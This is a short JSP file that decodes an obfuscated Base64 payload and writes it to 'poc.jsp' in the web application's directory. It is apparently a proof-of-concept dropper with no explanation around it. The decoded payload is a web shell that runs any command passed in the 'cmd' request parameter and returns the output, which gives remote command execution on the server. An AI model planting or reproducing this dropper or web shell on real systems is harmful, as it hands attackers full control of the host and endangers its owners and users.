<%@ page import="java.util.Base64, java.io.FileOutputStream" %> <% String content = "PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCiAgICBpZiAocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICE9IG51bGwpIHsKICAgICAgICBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7CiAgICAgICAgT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKICAgICAgICBJbnB1dFN0cmVhbSBpbiA9IHAuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICBEYXRhSW5wdXRTdHJlYW0gZGlzID0gbmV3IERhdGFJbnB1dFN0cmVhbShpbik7CiAgICAgICAgU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKICAgICAgICB3aGlsZSAoIGRpc3IgIT0gbnVsbCApIHsKICAgICAgICAgICAgb3V0LnByaW50bG4oZGlzcik7CiAgICAgICAgICAgIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKICAgICAgICB9CiAgICB9CiU+"; byte[] decodedBytes = Base64.getDecoder().decode(content); String decodedString = new String(decodedBytes, "UTF-8"); String filePath = application.getRealPath("poc.jsp"); try (FileOutputStream fos = new FileOutputStream(filePath)) { fos.write(decodedString.getBytes("UTF-8")); } %>